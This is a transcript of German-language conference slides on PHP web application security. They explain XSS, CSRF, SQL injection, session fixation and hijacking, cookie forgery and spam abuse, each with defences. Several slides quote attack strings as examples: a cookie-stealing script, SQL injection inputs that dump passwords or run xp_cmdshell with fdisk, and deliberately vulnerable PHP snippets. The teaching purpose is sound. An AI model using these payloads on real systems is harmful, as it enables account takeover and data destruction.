Willkommen!

Transkript

1 Über mich Willkommen! Web Application Security mit/trotz PHP Christian Wenz PHP-Praxiserfahrung seit Anfang 1999 Koautor der PHP-5-Zertifizierung Gründungsmitglied im PHP Security Consortium Maintainer von ein paar PEAR-Paketen Berater, Autor, Trainer Blog: Agenda 1. Warum Web-Sicherheit? 2. Bekannte Angriffe 3. Nicht so bekannte Angriffe 4. Tipps & Tricks Agenda 1. Warum Web-Sicherheit? 2. Bekannte Angriffe 3. Nicht so bekannte Angriffe 4. Tipps & Tricks Web-Sicherheit Western European revenue for the security software market reached almost $2.5 billion in [IDC04] Viele Firmen geben also Unsummen aus, um Viren, Spyware, DDoS etc. zu bekämpfen.... aber... Das Problem Schlampige Programmierer sind viel effektiver Egal, welche serverseitige Technologie zum Einsatz kommt! Die "Outlaw group" passte eine Unterseite von Microsoft.com ein wenig an mit einer billigen Angriffsmethode ( Das passierte nicht etwa vor Jahrzehnten, sondern im Mai 2004 [ZoneH04] 1

2 Weitere Opfer T-Com: Schwächen en masse [Heise04a] SAT.1-Sicherheitsexperte Huth [Heise04b] Diverse Open-Source-Software, inkl. Gallery Weblog-Software Das hängt davon ab Ist PHP/ASP.NET/... unsicher? Meist: Unabhängig von der eingesetzten Technologie Das Problem ist also nicht PHP/ASP.NET/..., sondern der Schlamper vor der Tastatur klassisch PEBKAC Bekannte Schwächen OWASP The Open Web Application Security Project 2007 Top Ten List [OWASP07]: 1. [Schlampiger Programmierer] 2. [Schlampiger Programmierer] Mangelnde Verschlüsselung 10. Unsichere Konfiguration Unser Ziel Was ist zu tun? Simpel: Beim Programmierern nicht schlampen! Nun ja, eine dumme Antwort auf eine dumme Frage Besserer Ansatz: Lernen, wie der Feind vorgeht. Aufbau des Vortrags Zuerst: Schlampiger (ich wiederhole mich) Code. Dann: Ausnutzen der unsauberen Programmierung. Abschließend: Gegenmaßnahmen Keine Website ist 100%ig sicher, aber den Feind zu kennen ist der erste Schritt dahin Agenda 1. Warum Web-Sicherheit? 2. Bekannte Angriffe 3. Nicht so bekannte Angriffe 4. Tipps & Tricks 2

3 Nicht geprüfte Nutzerdaten Nicht geprüfte Nutzerdaten (2) Problem: Benutzereingaben werden vor der Verarbeitung nicht überprüft Szenario: Gästebuch. Nutzer geben Text ein, der wird unverändert ausgegeben HTML-Markup Sehr lange Wörter Mögliche lustige Angriffe <img src=" /> <hr /> <div style="display:none"> <table> <a href=" Nicht geprüfte Nutzerdaten (3) Nicht geprüfte Nutzerdaten (4) Abwehr: All Input Is Evil. [Howard] Alle Nutzereingaben prüfen Immer wenn die Grenze zwischen Vertrautem (Webserver) und Bösem (Internet) überschritten wird, ist Vorsicht empfohlen Vor dem Zurücksenden z.b. htmlspecialchars() verwenden <?php require $_GET["page"]. ".inc";?> Da kann u.u. alles inkludiert werden... Hacken per URL Problem: Unsere URLs sind nicht selbsterklärend, ich kann mir also Berechtigungsüberprüfung sparen Szenario: Newsboard mit Berechtigungssystem. Ein Benutzer erhält nur die Editier-Links angezeigt, die ihn betreffen URLs manuell aufbauen Hacken per URL (2) Abwehr: Parameter vermeiden Ist auch für Google & Co. Besser! Möglichst viele Daten in einer Session ablegen Immer vom Worst Case ausgehen: Die Daten sind manipuliert Berechtigungs-Check Sanity Checks 3

4 XSS (Cross Site Scripting) XSS (Cross Site Scripting) (2) Problem: (Bösartiger) Skriptcode wird in die Ausgabe eines (serverseitigen) Skripts eingebettet. Läuft dann innerhalb der Seite. Szenario: Wieder das Gästebuch Alles was JavaScript hergibt... und auch ein wenig HTML Mögliche lustige Angriffe <script>alert("hallo");</script> ><script>alert("hallo");</script><a name=" <script>(new Image()).src = " + escape(document.cookie); <meta http-equiv="set-cookie" content="sid=123" /> Ajax (mit Einschränkungen) XSS (Cross Site Scripting) (3) XSS (Cross Site Scripting) (4) Abwehr: Wie zuvor: prüfen, prüfen, prüfen Daten überprüfen Ausgabe: echo()/print()/*printf() Header: header() Dateien schreiben: fwrite() htmlspecialchars() Weitere Tests bei z.b. -Adressen,... Warum gibt es überhaupt noch XSS? Abwägung User Experience vs. Sicherheit Nicht alle HTML-Daten sollen ausgefiltert werden Doch die meisten Ansätze haben Fehler <script... herausfiltern javascript: herausfiltern Bessere Vorschläge? CSRF (Cross-Site Request Forgery) CSRF in Aktion Angriff innerhalb des Webbrowsers des Opfers In der Regel wird per JavaScript eine ungewollte HTTP-Anforderung erzeugt Beispiel MySpace.com-Wurm: Fast eine Million Opfer Nur POST zulassen ist kein zuverlässiger Schutz Opfer (Client) 3) Ruft Seite auf 2) Schickt JavaScript 1) Ruft Seite auf andere Website Angreifer (Website) 4

5 SQL Injection Problem: Benutzereingaben werden in SQL- Kommandos eingefügt. Szenario: CMS (Content Management System). ID eines Eintrags wird in URL übergeben: $sql = "SELECT * FROM news WHERE id=". $_GET["id"]; $sql = sprintf("select * FROM users WHERE user='%s' AND pass='%s'", $_POST['u'], $_POST['p']); Einschleusen von ungewolltem SQL SQL Injection (2) Mögliche lustige Angriffe xyz' OR 1=1 /* xyz' UNION SELECT name, pwd FROM users /* xyz'; EXEC master..xp_cmdshell('fdisk...'); -- SQL Injection (3) SQL Injection (4) Abwehr: Wieder einmal: Alle Eingaben prüfen Böse Sonderzeichen filtern (', [, ], %, _, ) Parametrisierte Abfragen (kann nicht jede Datenbankerweiterung) Stored Procedures SPs verringern nicht die Anzahl möglicher Fehler, sondern die Anzahl der potenziellen Schlamper DB Escape-Funktion Prepared St. MySQL mysql(i)_real_escape_string() MSSQL addslashes() * SQLite sqlite_escape_string() PostgreSQL pg_escape_string() Oracle --- * mit ini_set('magic_quotes_sybase', 1) Agenda 1. Warum Web-Sicherheit? 2. Bekannte Angriffe 3. Nicht so bekannte Angriffe 4. Tipps & Tricks Session Fixation Problem: Eine Session wird erzeugt und dann einem Nutzer untergeschoben Szenario: Websites, bei denen sensible Daten über Sessions geschützt sind, z.b. Webmail xyz.php?phpsessid=abc0815 5

6 Session Fixation (2) Abwehr: Bei neu initialisierten Sessions immer session_regenerate_id() aufrufen Erzeugt eine neue, echte Session-ID Gleiches beim Übertreten von ungeschütztem in geschützten Bereich Session Hijacking Problem: Die Session eines Opfers wird als Geisel genommen Szenario: Wie zuvor, z.b. Webmail schick mir doch mal den Link selbst Link schicken, dann HTTP_REFERER auswerten raten (meist nur in Verbindung mit Session Fixation erfolgsversprechend Session Hijacking (2) Abwehr: Viele Ansätze, keiner ist optimal Session an IP binden Daten aus HTTP-Header zur Authentifizierung verwenden Session zeitbegrenzen Vor kritischen/sensiblen Operationen erneuten Login erfordern Gefälschte Cookies Problem: Cookies sind sicherer als Sessions, denn Letztere können gefälscht werden stimmt nicht. Cookies werden als Teil des HTTP-Headers mitgeschickt, sind also simpel zu fälschen Szenario: Website authentifiziert Nutzer, speichert das dann in einem Cookie Angriff: Cookie fälschen (falls statischer Wert) Gefälschte Cookies (2) XPath Injection Abwehr: Daten in Cookies verschlüsseln Nie unverschlüsselte, simple Daten in Cookies schicken ( eingeloggt=true schlechte Idee) Dynamische Daten in Cookies verwenden (z.b. Session ID), nie statischer Code/Wert für dynamische Daten Problem: Nutzerdaten werden ungeprüft in XPath-Ausdrücke übernommen. Szenario: Web Services; Nutzerverwaltung auf XML-Basis Leider kein eingebautes Gegenmittel Deswegen: Prüfen (Whitelist)! :) 6

7 RegEx-Injection Problem: Codeausführung mit regulären Ausdrücken Szenario: Zum Glück (noch) wenige Die RegEx-Option e, sofern verfügbar (u.a. preg_* in PHP), möglichst vermeiden. Mail-Skripte Problem: Mail-Skripte werden zum Versenden unerwünschter Mails missbraucht Szenario: Feedback-Formular, Weblogs Empfängeradresse in verstecktem Formularfeld macht einen Missbrauch einfach DoS durch wiederholten Aufruf des Skripts Lösung: Kommentare prüfen IP-Adressen blockieren Kommentare moderieren Ältere Einträge für Kommentare schließen URL des Kommentar-Skripts ändern HTTP_REFERER prüfen Ein weiterer Weg... Abwehr: Nur Menschen dürfen das Formular versenden Nie vom Client Empfänger-Adressen zulassen (oder: Whitelist) CAPTCHAs (Turing-Tests) gegen automatischen Formular-Versand [vonahn03] Barrierefreiheit mit alternativen Mitteln, beispielsweise Audio-CAPTCHAs CAPTCHAs Completely Automated Turing Test to Tell Computers and Humans Apart Turing-Test: Ist am anderen Ende der Leitung ein Mensch oder eine Maschine Wird von immer mehr Websites eingesetzt (u.a. Yahoo!) 7

8 Grafische CAPTCHAs Text_CAPTCHA Wichtigste Grundregel: Source-Code steht offen Meist: Grafiken mit Text drauf Und wie? Selber bauen (GD2,...) Vorgefertigte Lösungen verwenden, z.b. Text_CAPTCHA Paket-Homepage: Achtung, API wird sich zukünftig möglicherweise ändern Diverse alternative CAPTCHAs in Betrieb, mit unterschiedlichem Erfolg Text_CAPTCHA (2) Text_CAPTCHA (3) require_once 'Text/CAPTCHA.php'; $c = Text_CAPTCHA::factory('Image'); $retval = $c->init(200, 80, null, $options); $_SESSION["phrase"] = $c->getphrase(); $png = $c->getcaptchaaspng(); file_put_contents(session_id(). ".png", $png); echo '<form method="post">'. '<img src="'. session_id(). '.png?'. time(). '" />'. '<input type="text" name="phrase" />'. '<input type="submit" /></form>'; if (isset($_post['phrase']) && isset($_session['phrase']) && strlen($_post['phrase']) > 0 && strlen($_session['phrase']) > 0 && $_POST['phrase'] == $_SESSION['phrase']) { $msg = 'OK!'; $ok = true; unset($_session["phrase"]); } else { $msg = 'Please try again!'; } unlink(session_id(). '.png'); Screen Scraping Problem: Website wird mit wget geladen, geparst, Daten verarbeitet [HauWe01] Szenario: Aktuelle Liste der billigsten Tankstellen Angriff: wget + reguläre Ausdrücke Screen Scraping (2) Abwehr: Auf Mensch prüfen Wieder einmal CAPTCHAs Dann braucht der Angreifer notgeile Nutzer (das funktioniert aber sehr effektiv) 8

9 CAPTCHAs knacken Was ist schlimmer als schlampige Programmierer? Personen mit unkontrollierter Libido Trackback-Spamming Problem: Spammer erzeugen Trackbacks auf Weblogs um einen Link auf deren URL zu erhalten. Ergebnis: Besserer PageRank Die Trackback-API ist sehr einfach» POST Content-type: application/x-www-form-urlencoded title=buy+stuff&url= y+my+stuff&blog_name=spamblog Trackback-Spamming (3) IPs blocken Dynamische Blacklist für URLs/IPs Liste mit bösen Wörtern Autodiscovery deaktivieren Trackbacks bei älteren Einträgen deaktivieren Fazit Das Problem ist (fast) immer dasselbe: Bösartige Daten werden ungeprüft (oder fehlerhaft geprüft) weiter verarbeitet Die Ausprägungen (wo kommen die Daten her, wie werden sie verarbeitet) sind aber stets unterschiedlich Besser paranoid als offline Google ist dein Feind Keine phpinfo()-seiten auf Live-Server! Keine Fehlermeldungen an den Nutzer! display_errors = Off log_errors = On robots.txt ist nicht geheim Und natürlich: The Spider of Doom 9

10 PHP und Security Daten prüfen, prüfen, prüfen Kein register_globals=on! Unbedingt error_reporting = E_ALL! Agenda 1. Warum Web-Sicherheit? 2. Bekannte Angriffe 3. Nicht so bekannte Angriffe 4. Tipps & Tricks Einige Tipps Quellen Trust no-one vor allem keinen Nutzereingaben Prüfen vor dem Verarbeiten dynamischer Daten Ausgeben dynamischer Daten Nicht das Problem unterschätzen [IDC04] IDC-Press Release ( 04_22_210409) [HauWe01] Hauser, Wenz in c t (17/2001), S [Heise04a] [Heise04b] [Howard03] Howard, LeBlanc, Writing Secure Code, 2. Auflage, MS Press 2003 Quellen (2) [OWASP07] OWASP. The Open Web Application Security Project. [vonahn03] von Ahn, Blum, Hopper and Langford. CAPTCHA: Using Hard AI Problems for Security. Eurocrypt [ZoneH04] MS Defacement ( Vielen Dank! Herzlichen Dank für die Aufmerksamkeit! Noch Fragen? christian.wenz@arrabiata.de php5protraining@lists.dynamicwebpages.de 10